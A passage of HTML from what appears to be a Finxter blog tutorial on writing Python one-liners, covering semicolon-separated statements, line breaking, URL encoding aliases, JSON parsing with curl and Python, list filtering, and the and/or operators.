width=\"100%\" height=\"800px\" frameborder=\"no\"><\/iframe> <\/p>\n<p><a href=\"https:\/\/blog.finxter.com\/how-to-write-a-nested-for-loop-in-one-line-python\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"How to Write a Nested For Loop in One Line Python?\">Read the whole article here.<\/a><\/p>\n<h2>Python One Line Two Commands<\/h2>\n<p><strong>Problem<\/strong>: Given multiple Python statements. How to write them as a <a href=\"https:\/\/blog.finxter.com\/python-one-line-x\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line X\">Python One-Liner<\/a>?<\/p>\n<p><strong>Example<\/strong>: Consider the following example of four statements in a block with uniform <a href=\"https:\/\/blog.finxter.com\/pep-8-hanging-indentation-and-closing-brackets-in-python\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"PEP 8: Hanging Indentation and Closing Brackets in Python\">indentation<\/a>:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">a = 1\nb = 2\nc = a + b\nprint(c)<\/pre>\n<p>Each of the four statements is written in a separate line in a <a href=\"https:\/\/blog.finxter.com\/best-python-ide\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Best Python IDE and Code Editors [Ultimate Guide]\">code editor<\/a>&#8212;this is the normal procedure. However, what if you want to <a href=\"https:\/\/pythononeliners.com\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/pythononeliners.com\/\">one-linerize<\/a> those:<\/p>\n<p><strong><em>How to write all four statements in a single line of code?<\/em><\/strong><\/p>\n<p><strong>Solution<\/strong>: The answer is simple if all statements have a uniform indentation and there&#8217;s no <a href=\"https:\/\/blog.finxter.com\/how-to-write-a-nested-for-loop-in-one-line-python\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"How to Write a Nested For Loop in One Line Python?\">nested block<\/a>. In this case, you can use the semicolon as a separator between the statements:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">a = 1; b = 2; c = a + b; print(c)<\/pre>\n<p><strong>Related Article<\/strong>: <a href=\"https:\/\/blog.finxter.com\/how-to-write-multiple-statements-on-a-single-line-in-python\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"How to Write Multiple Statements on a Single Line in Python?\">How to Write Multiple Statements on a Single Line in Python?<\/a><\/p>\n<h2>Python One Line To Multiple Line<\/h2>\n<p class=\"has-pale-cyan-blue-background-color has-background\">To break one line into multiple lines in Python, use an opening parenthesis in the line you want to break. Now, Python expects the closing parenthesis in one of the next lines and the expression is evaluated across line boundaries. As an alternative, you can also use the backslash <code><\/code> just in front of the line break to escape the newline character. <\/p>\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\">\n<div class=\"wp-block-embed__wrapper\">\n<div class=\"ast-oembed-container\"><iframe loading=\"lazy\" title=\"How to Break One Line Into Multiple Lines in Python?\" width=\"1400\" height=\"788\" src=\"https:\/\/www.youtube.com\/embed\/nJ2AlulCwtg?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe><\/div>\n<\/div>\n<\/figure>\n<p>After publishing an article on how to condense <a href=\"https:\/\/blog.finxter.com\/how-to-execute-multiple-lines-in-a-single-line-python-from-command-line\/\" title=\"How to Execute Multiple Lines in a Single Line Python From Command-Line?\" target=\"_blank\" rel=\"noreferrer noopener\">multiple lines into a single line<\/a> of Python code, many Finxters asked:<em> <a href=\"https:\/\/stackoverflow.com\/questions\/4172448\/is-it-possible-to-break-a-long-line-to-multiple-lines-in-python\" target=\"_blank\" rel=\"noreferrer noopener\">How to break a long line to multiple lines in Python<\/a><\/em>?<\/p>\n<p><strong>Problem<\/strong>: Given a long line of Python code. How to break it into multiple lines?<\/p>\n<p>There are multiple ways of breaking this into multiple lines. Let&#8217;s get an overview first:<\/p>\n<p> <iframe loading=\"lazy\" src=\"https:\/\/trinket.io\/embed\/python\/cce7ca4ab8\" marginwidth=\"0\" marginheight=\"0\" allowfullscreen=\"\" width=\"100%\" height=\"700\" frameborder=\"0\"><\/iframe> <\/p>\n<p><em><strong>Exercise<\/strong>: Run the code. What&#8217;s the output? Modify Method 3 and write it as a one-liner again!<\/em><\/p>\n<p><a href=\"https:\/\/blog.finxter.com\/python-one-line-to-multiple-lines\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line to Multiple Lines\">You can dive into all of those methods in my blog article here.<\/a><\/p>\n<h2>Python One Line URL Decode<\/h2>\n<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/Percent-encoding\" target=\"_blank\" rel=\"noreferrer noopener\">URL encoding<\/a><em> \u201cis a method to <a href=\"https:\/\/en.wikipedia.org\/wiki\/Binary-to-text_encoding\">encode<\/a> information in a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Uniform_Resource_Identifier\">Uniform Resource Identifier<\/a> (URI)\u201d<\/em>. It is also called <em>Percent-encoding<\/em> because percentage symbols are used to encode certain reserved characters:<\/p>\n<figure class=\"wp-block-table is-style-stripes\">\n<table>\n<tbody>\n<tr>\n<td><code>!<\/code><\/td>\n<td><code>#<\/code><\/td>\n<td><code>$<\/code><\/td>\n<td><code>%<\/code><\/td>\n<td><code>&amp;<\/code><\/td>\n<td><code>'<\/code><\/td>\n<td><code>(<\/code><\/td>\n<td><code>)<\/code><\/td>\n<td><code>*<\/code><\/td>\n<td><code>+<\/code><\/td>\n<td><code>,<\/code><\/td>\n<td><code>\/<\/code><\/td>\n<td><code>:<\/code><\/td>\n<td><code>;<\/code><\/td>\n<td><code>=<\/code><\/td>\n<td><code>?<\/code><\/td>\n<td><code>@<\/code><\/td>\n<td><code>[<\/code><\/td>\n<td><code>]<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>%21<\/code><\/td>\n<td><code>%23<\/code><\/td>\n<td><code>%24<\/code><\/td>\n<td><code>%25<\/code><\/td>\n<td><code>%26<\/code><\/td>\n<td><code>%27<\/code><\/td>\n<td><code>%28<\/code><\/td>\n<td><code>%29<\/code><\/td>\n<td><code>%2A<\/code><\/td>\n<td><code>%2B<\/code><\/td>\n<td><code>%2C<\/code><\/td>\n<td><code>%2F<\/code><\/td>\n<td><code>%3A<\/code><\/td>\n<td><code>%3B<\/code><\/td>\n<td><code>%3D<\/code><\/td>\n<td><code>%3F<\/code><\/td>\n<td><code>%40<\/code><\/td>\n<td><code>%5B<\/code><\/td>\n<td><code>%5D<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ alias urldecode='python3 -c \"import sys, urllib.parse as ul; print(ul.unquote_plus(sys.argv[1]))\"' $ alias urlencode='python3 -c \"import sys, urllib.parse as ul; print (ul.quote_plus(sys.argv[1]))\"'<\/pre>\n<p>Here\u2019s an example usage: <\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ urldecode 'q+werty%3D%2F%3B'\nq werty=\/; $ urlencode 'q werty=\/;'\nq+werty%3D%2F%3B<\/pre>\n<p><a href=\"https:\/\/unix.stackexchange.com\/questions\/159253\/decoding-url-encoding-percent-encoding\" target=\"_blank\" rel=\"noreferrer noopener\">Source<\/a><\/p>\n<p><strong>Related Article:<\/strong> <a href=\"https:\/\/blog.finxter.com\/url-decoding-methods\/\" title=\"[Collection] URL Decoding Methods\">URL Decoding Methods<\/a><\/p>\n<h2>Python One Line Object<\/h2>\n<p><strong>Problem<\/strong>: How to create a Python object in a single line of code? And how can you associate custom properties to this object in the same line?<\/p>\n<p><strong>Example<\/strong>: Say, you want to do something like this pseudocode snippet: <\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">var newObject = new({'property' : 'value' })\nnewObject.property # returns 'value'<\/pre>\n<p>However, you cannot do the same in Python because this would create a <a href=\"https:\/\/blog.finxter.com\/python-dictionary\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python Dictionary \u2013 The Ultimate Guide\">dictionary<\/a>:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">new_object = {'property': 'value'}\nnew_object.property\n# raises an AttributeError<\/pre>\n<p>This raises an <code>AttributeError<\/code> because there&#8217;s no attribute <code>property<\/code> associated to the dictionary object. To access the dictionary key in this case, you must use the syntax <code>new_object['property']<\/code>. <\/p>\n<p><strong>So, how to create an inline Python object with attributes in a single line of Python code?<\/strong><\/p>\n<p>Here&#8217;s a quick overview of our three methods:<\/p>\n<p> <iframe loading=\"lazy\" src=\"https:\/\/trinket.io\/embed\/python\/80d892dc1b\" marginwidth=\"0\" marginheight=\"0\" allowfullscreen=\"\" width=\"100%\" height=\"356\" frameborder=\"0\"><\/iframe> <\/p>\n<p><em><strong>Exercise<\/strong>: Do all three methods produce the same output? Run the code to test it!<\/em><\/p>\n<p>Do you want to dive into each of those methods in greater detail? Read this article:<\/p>\n<p><strong>Related Article<\/strong>: <a href=\"https:\/\/blog.finxter.com\/how-to-create-inline-objects-with-properties-python-one-liner\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"How to Create Inline Objects With Properties? [Python One-Liner]\">How to Create Inline Objects With Properties? [Python One-Liner]<\/a><\/p>\n<h2>Python One Line Print<\/h2>\n<p><strong>Problem<\/strong>: How to use the <a href=\"https:\/\/blog.finxter.com\/the-separator-and-end-arguments-of-the-python-print-function\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python Print Function [And Its SECRET Separator &amp; End Arguments]\"><code>print()<\/code> function<\/a> without printing an implicit newline character to the Python shell?<\/p>\n<p><strong>Example<\/strong>: Say, you want to use the <code>print()<\/code> function within a<a href=\"https:\/\/blog.finxter.com\/python-one-line-for-loop-a-simple-tutorial\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line For Loop [A Simple Tutorial]\"> for loop<\/a>&#8212;but you don&#8217;t want to see multiple newlines between the printed output:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">for i in range(1,5): print(i)<\/pre>\n<p>The default standard output is the following:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">1\n2\n3\n4<\/pre>\n<p>But you want to get the following output in a single line of Python code.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">1 2 3 4<\/pre>\n<p>How to accomplish this in Python 3?<\/p>\n<p><strong>Solution<\/strong>: I&#8217;ll give you the quick solution in an interactive Python shell here:<\/p>\n<p> <iframe loading=\"lazy\" src=\"https:\/\/repl.it\/@finxter\/ClearDirectAutoresponder?lite=true\" scrolling=\"no\" allowtransparency=\"true\" allowfullscreen=\"true\" sandbox=\"allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts allow-modals\" width=\"100%\" height=\"400px\" frameborder=\"no\"><\/iframe> <\/p>\n<p>By reading on, you&#8217;ll understand how this works and become a better coder in the process.<\/p>\n<p><strong>Related Article<\/strong>: <a href=\"https:\/\/blog.finxter.com\/how-to-print-without-newline-in-python-a-simple-illustrated-guide\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"How to Print Without Newline in Python: A Simple Illustrated Guide\">How to Print Without Newline in Python<\/a><\/p>\n<h2>Python One Line Parse JSON<\/h2>\n<p><strong>Problem<\/strong>: How to <a href=\"https:\/\/blog.finxter.com\/html-parsing-using-python-and-lxml\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"HTML Parsing using Python and LXML\">Parse <\/a>a JSON object as a Python One-Liner?<\/p>\n<p><strong>Example<\/strong>: Say, you have pulled a JSON object from a server using the <code>curl<\/code> command:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">curl -s http:\/\/example.com | python -mjson.tool\n{ \"continent_code\": \"EU\", \"country\": \"Netherlands\", \"country_code\": \"NL\", ... \"timezone\": \"Europe\/Amsterdam\"\n}<\/pre>\n<p><a href=\"https:\/\/www.cambus.net\/parsing-json-from-command-line-using-python\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/www.cambus.net\/parsing-json-from-command-line-using-python\/\">Source<\/a><\/p>\n<p>How to parse the resulting JSON object and extract, say, the value <code>\"Netherlands\"<\/code> associated to the <code>\"country\"<\/code> key?<\/p>\n<p><strong>Solution<\/strong>: The following one-liner accomplishes this:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">curl -s http:\/\/example.com | python -c 'import sys, json; print(json.load(sys.stdin)[\"country\"])'<\/pre>\n<p>You can find a detailed, step-by-step explanation of this one-liner in the following article.<\/p>\n<p><strong>Related article<\/strong>:<a href=\"https:\/\/blog.finxter.com\/how-to-parse-json-in-a-python-one-liner\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"How to Parse JSON in a Python One-Liner?\"> How to Parse JSON in a Python One-Liner?<\/a><\/p>\n<h2>Python One Line Pretty Print JSON<\/h2>\n<p><strong>Problem<\/strong>: Given a JSON object. How to pretty print it from the shell\/terminal\/command line using a Python one-liner?<\/p>\n<p><strong>Minimal Example<\/strong>: You have given the following JSON object:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{\"Alice\": \"24\", \"Bob\": \"28\"}<\/pre>\n<p>And you want to get the following print output:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{ \"Alice\": \"24\", \"Bob\": \"28\"\n}<\/pre>\n<p>How to accomplish this using a Python one-liner?<\/p>\n<p>The default way to accomplish this <strong><em>in a Python script<\/em><\/strong> is to import the <code>json<\/code> library to solve the issue:<\/p>\n<p> <iframe loading=\"lazy\" src=\"https:\/\/repl.it\/@finxter\/jsonprettyprint?lite=true\" scrolling=\"no\" allowtransparency=\"true\" allowfullscreen=\"true\" sandbox=\"allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts allow-modals\" width=\"100%\" height=\"400px\" frameborder=\"no\"><\/iframe> <\/p>\n<p><em><strong>Exercise<\/strong>: Execute the script. What&#8217;s the output? Now change the number of indentation spaces to 2!<\/em><\/p>\n<p>You can learn everything there is to know about pretty printing JSON objects from your command line in this tutorial:<\/p>\n<p><strong>Related Article<\/strong>: <a href=\"https:\/\/blog.finxter.com\/python-one-line-pretty-print-json\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Pretty Print JSON [Python One-Liner]\">Pretty Print JSON [Python One-Liner]<\/a><\/p>\n<h2>Python One Line Array Filter<\/h2>\n<p><strong><em>How can you filter an array in Python using an arbitrary condition?<\/em><\/strong><\/p>\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\">\n<div class=\"wp-block-embed__wrapper\">\n<div class=\"ast-oembed-container\"><iframe loading=\"lazy\" title=\"How to Filter a List in Python?\" width=\"1400\" height=\"788\" src=\"https:\/\/www.youtube.com\/embed\/3nG4TLkqzf8?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe><\/div>\n<\/div>\n<\/figure>\n<p>The most Pythonic way of filtering an array is the list comprehension statement <code>[x for x in list if condition]<\/code>. You can replace <code>condition<\/code> with any function of <code>x<\/code> you would like to use as a filtering criterion. <\/p>\n<p>For example, if you want to filter all elements that are smaller than, say, 10, you&#8217;d use the list comprehension statement <code>[x for x in list if x&lt;10]<\/code> to <a href=\"https:\/\/blog.finxter.com\/how-to-create-a-python-list\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"How to Create a Python List?\">create a new list<\/a> with all list elements that are smaller than 10. <\/p>\n<p>Here are three examples of filtering a list:<\/p>\n<ul>\n<li>Get elements smaller than eight: <code>[x for x in lst if x&lt;8]<\/code>.<\/li>\n<li>Get even elements: <code>[x for x in lst if x%2==0]<\/code>.<\/li>\n<li>Get odd elements: <code>[x for x in lst if x%2]<\/code>.<\/li>\n<\/ul>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">lst = [8, 2, 6, 4, 3, 1] # Filter all elements &lt;8\nsmall = [x for x in lst if x&lt;8]\nprint(small) # Filter all even elements\neven = [x for x in lst if x%2==0]\nprint(even) # Filter all odd elements\nodd = [x for x in lst if x%2]\nprint(odd)<\/pre>\n<p>The output is:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># Elements &lt;8\n[2, 6, 4, 3, 1] # Even Elements\n[8, 2, 6, 4] # Odd Elements\n[3, 1]<\/pre>\n<p>This is the most efficient way of filtering an array and it&#8217;s also the most Pythonic one.<\/p>\n<p><strong>Related Article<\/strong>: <a href=\"https:\/\/blog.finxter.com\/how-to-filter-a-list-in-python\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"How to Filter a List in Python?\">How to Filter a List in Python?<\/a><\/p>\n<h2>Python One Line Append<\/h2>\n<p><strong>Problem<\/strong>: How can we append multiple elements to a list in a for loop but using only a single line of Python code?<\/p>\n<p><strong>Example<\/strong>: Say, you want to filter a list of words against another list and store the resulting words in a new list using the append() method in a for loop. <\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># FINXTER TUTORIAL:\n# How to filter a list of words? words = ['hi', 'hello', 'Python', 'a', 'the']\nstop_words = {'a', 'the'}\nfiltered_words = [] for word in words: if word not in stop_words: filtered_words.append(word) print(filtered_words)\n# ['hi', 'hello', 'Python']\n<\/pre>\n<p>You first create a list of words to be filtered and stored in an initially empty list <code>filtered_words<\/code>. Second, you create a <a href=\"https:\/\/blog.finxter.com\/sets-in-python\/\" title=\"The Ultimate Guide to Python Sets \u2013 with Harry Potter Examples\">set <\/a>of stop words against you want to check the words in the list. Note that it&#8217;s far more efficient to use the set data structure for this because <a href=\"https:\/\/blog.finxter.com\/complexity-of-python-operations\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Complexity of Python Operations\">checking membership in sets is much faster <\/a>than checking membership in lists. <a href=\"https:\/\/blog.finxter.com\/sets-in-python\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"The Ultimate Guide to Python Sets \u2013 with Harry Potter Examples\">See this tutorial for a full guide on Python sets.<\/a><\/p>\n<p>You now iterate over all elements in the list <code>words<\/code> and add them to the <code>filtered_words<\/code> list if they are not in the set <code>stop_words<\/code>. <\/p>\n<p><strong>Solution<\/strong>: You can one-linerize this filtering process using the following code:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">filtered_words = [word for word in words if word not in stop_words]<\/pre>\n<p>The solution uses <a href=\"https:\/\/blog.finxter.com\/list-comprehension\/\" title=\"List Comprehension in Python \u2014 A Helpful Illustrated Guide\">list comprehension<\/a> to, essentially, create a <a href=\"https:\/\/blog.finxter.com\/python-one-line-for-loop-a-simple-tutorial\/\" title=\"Python One Line For Loop [A Simple Tutorial]\">single-line for loop<\/a>. <\/p>\n<p>Here&#8217;s the complete code that solves the problem using the one-liner filtering method:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># FINXTER TUTORIAL:\n# How to filter a list of words? words = ['hi', 'hello', 'Python', 'a', 'the']\nstop_words = {'a', 'the'}\nfiltered_words = [word for word in words if word not in stop_words] print(filtered_words)\n# ['hi', 'hello', 'Python']<\/pre>\n<p>Here&#8217;s a short tutorial on filtering in case you need more explanations:<\/p>\n<p><strong>Related Articles<\/strong>:<a href=\"https:\/\/blog.finxter.com\/how-to-filter-a-list-in-python\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"How to Filter a List in Python?\"> <\/a><\/p>\n<ul>\n<li><a href=\"https:\/\/blog.finxter.com\/how-to-filter-a-list-in-python\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"How to Filter a List in Python?\">How to Filter a List in Python?<\/a><\/li>\n<li><a href=\"https:\/\/blog.finxter.com\/python-one-line-append\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line Append\">Python One Line Append<\/a><\/li>\n<\/ul>\n<h2>Python One Line And Or<\/h2>\n<p><a href=\"https:\/\/blog.finxter.com\/python-one-line-and-or\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line And\/Or\">How do the Boolean <code>and<\/code> and <code>or<\/code> operators work in the context of Python one-liners?<\/a><\/p>\n<p>You may know the standard use of the logical operators applied to Boolean values:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">>>> True and False\nFalse\n>>> False or True\nTrue<\/pre>\n<p>But there&#8217;s more to these operators that only experts in the art of writing concise <a href=\"https:\/\/blog.finxter.com\/python-one-line-x\/\" title=\"Python One Line X\" target=\"_blank\" rel=\"noreferrer noopener\">Python one-liners<\/a> know. <\/p>\n<p>For instance, the following use of the <code>or<\/code> operator applied to non-Boolean values is little known:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">>>> 'hello' or 42 'hello'\n>>> [] or 42\n42<\/pre>\n<p>Similarly, the following use of the and operator often causes confusion in readers of advanced Python one-liners:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">>>> 'hello' and 42\n42\n>>> [] and 42\n[]<\/pre>\n<p>How do the <code>and<\/code> and <code>or<\/code> operator work when applied to non-Boolean operands?<\/p>\n<p>To understand what is going on, you need to look at the definitions of the Boolean operators:<\/p>\n<figure class=\"wp-block-table is-style-stripes\">\n<table>\n<thead>\n<tr>\n<th>Operator<\/th>\n<th>Description<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>a or b<\/code><\/td>\n<td>Returns <code>b<\/code> if the expression <code>a<\/code> evaluates to <code>False<\/code> using implicit Boolean conversion. If the expression <code>a<\/code> evaluates to <code>True<\/code>, the expression <code>a<\/code> is returned.<\/td>\n<\/tr>\n<tr>\n<td><code>a and b<\/code><\/td>\n<td>Returns <code>b<\/code> if the expression <code>a<\/code> evaluates to <code>True<\/code> using implicit Boolean conversion. If the expression <code>a<\/code> evaluates to <code>False<\/code>, the expression <code>a<\/code> is returned.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p>Study these explanations thoroughly! The return value is of the same data type of the operands&#8212;they only return a Boolean value if the operands are already Boolean!<\/p>\n<p>This optimization is called<a href=\"https:\/\/blog.finxter.com\/python-one-line-if-without-else\/\" title=\"Python One Line If Without Else\" target=\"_blank\" rel=\"noreferrer noopener\"> short-circuiting<\/a> and it&#8217;s common practice in many programming languages. For example, it&#8217;s not necessary to evaluate the result of the second operand of an and operation if the first operand evaluates to <code>False<\/code>. The whole operation must evaluate to <code>False<\/code> in this case because the logical and only returns <code>True<\/code> if both operands are <code>True<\/code>. <\/p>\n<p>Python goes one step further using the property of <a href=\"https:\/\/blog.finxter.com\/how-to-apply-a-logical-operator-to-all-elements-in-a-python-list\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"{AND, OR, NOT} How to Apply Logical Operators to All List Elements in Python?\">implicit Boolean conversion.<\/a> Every object can be implicitly converted to a Boolean value. That&#8217;s why you see code like this:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">l = []\nif l: print('hi')\nelse: print('bye')\n# bye<\/pre>\n<p>You pass a <a href=\"https:\/\/blog.finxter.com\/python-lists\/\" title=\"The Ultimate Guide to Python Lists\" target=\"_blank\" rel=\"noreferrer noopener\">list <\/a>into the if condition. Python then converts the list to a Boolean value to determine which branch to visit next. The empty list evaluates to <code>False<\/code>. All other lists evaluate to <code>True<\/code>, so the result is <code>bye<\/code>. <\/p>\n<p>Together, short circuiting and implicit Boolean conversion allow the logical operators and and or to be applied to any two Python objects as operands. The return value always is one of the two operands using the short circuiting rules described in the table. <\/p>\n<h2>Python One Line Conditional Assignment<\/h2>\n<p><strong>Problem<\/strong>: How to perform <a href=\"https:\/\/blog.finxter.com\/if-then-else-in-one-line-python\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"If-Then-Else in One Line Python [Video + Interactive Code Shell]\">one-line if conditional assignments<\/a> in Python?<\/p>\n<p><strong>Example<\/strong>: Say, you start with the following code.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">x = 2\nboo = True<\/pre>\n<p>You want to set the value of <code>x<\/code> to <code>42<\/code> if <code>boo<\/code> is <code>True<\/code>, and do nothing otherwise. <\/p>\n<p>Let&#8217;s dive into the different ways to accomplish this in Python. We start with an overview:<\/p>\n<p> <iframe loading=\"lazy\" src=\"https:\/\/trinket.io\/embed\/python\/e77fcc66dd\" marginwidth=\"0\" marginheight=\"0\" allowfullscreen=\"\" width=\"100%\" height=\"356\" frameborder=\"0\"><\/iframe> <\/p>\n<p><em><strong>Exercise<\/strong>: Run the code. Are all outputs the same?<\/em><\/p>\n<p>Next, you&#8217;ll dive into each of those methods and boost your <a href=\"https:\/\/pythononeliners.com\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/pythononeliners.com\/\">one-liner superpower<\/a>!<\/p>\n<p>Related Articles:<\/p>\n<ul>\n<li><a href=\"https:\/\/blog.finxter.com\/python-one-line-conditional-assignment\/\" title=\"Python One Line Conditional Assignment\" target=\"_blank\" rel=\"noreferrer noopener\">Python One Line Conditional Assignment<\/a><\/li>\n<li><a href=\"https:\/\/blog.finxter.com\/python-one-line-ternary\/\" title=\"Python One Line Ternary\" target=\"_blank\" rel=\"noreferrer noopener\">Python One Line Ternary<\/a><\/li>\n<li><a href=\"https:\/\/blog.finxter.com\/python-ternary-tuple\/\" title=\"Python Ternary \u2014 Tuple Syntax Hack\" target=\"_blank\" rel=\"noreferrer noopener\">Python Ternary &#8212; Tuple Syntax 